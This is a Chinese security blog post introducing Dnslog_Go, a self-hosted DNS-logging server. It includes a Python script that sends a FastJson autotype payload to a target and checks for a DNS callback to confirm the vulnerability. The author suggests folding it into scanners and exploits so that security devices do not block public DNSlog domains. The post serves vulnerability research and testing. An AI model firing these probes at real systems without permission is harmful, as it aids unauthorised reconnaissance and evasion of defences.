Dnslog_Go原本是为了配合我的Httphook项目的一个子项目,目的是为了配合hk实现各种盲漏洞的探测,但是后来看到目前github上的各种dnslog项目都需要,安装各种依赖,于是就把这个项目加了web界面然后开源出来了。
不了解的朋友,可以看我的这篇文章
实际上dnslog主要还是为了配合各类脚本进行快速探测,web界面都是次要。
为了方便大家使用,和了解Dnslog的API,我写了一个很简单的FastJson的探测的脚本进行演示,各类注释也比较齐全。大家可以结合到自己写的扫描器,脚本,exp里面去。避免知道创宇等等平台的公共域名被安全设备拦截,而导致的漏报。
import requests
import random
import json
class DnsLog():
domain = ""
token = ""
Webserver = ""
def __init__(self,domain,Webserver,token):
self.domain = domain #dnslog的根域名
self.Webserver = Webserver #dnslog的http监听地址,格式为 ip:端口
self.token = token #token
#检测DNSLog服务器是否正常
try:
res = requests.post("http://"+Webserver+"/api/verifyToken",json={"token":token}).json()
except:
exit("DnsLog 服务器连接失败")
if res["Msg"] == "false":
exit("DnsLog token 验证失败")
#生成随机子域名
def randomSubDomain(self,length = 5):
subDomain = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',length)) +'.'+ self.domain
return subDomain
#验证子域名是否存在
def checkDomain(self,domain):
res = requests.post("http://"+self.Webserver+"/api/verifyDns",json={"Query":domain},headers={"token":self.token}).json()
if res["Msg"] == "false":
return False
else:
return True
url = "http://192.168.41.2:8090/"
dns = DnsLog("test.com","1111:8888","admin")
subDomain = dns.randomSubDomain()
payload = {
"b":{
"@type":"java.net.Inet4Address",
"val":subDomain
}
}
requests.post(url,json=payload)
if dns.checkDomain(subDomain):
print("存在FastJosn")
实现效果
本文始发于微信公众号(漏洞推送):使用DNSlog_GO实现快速检测FastJson
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论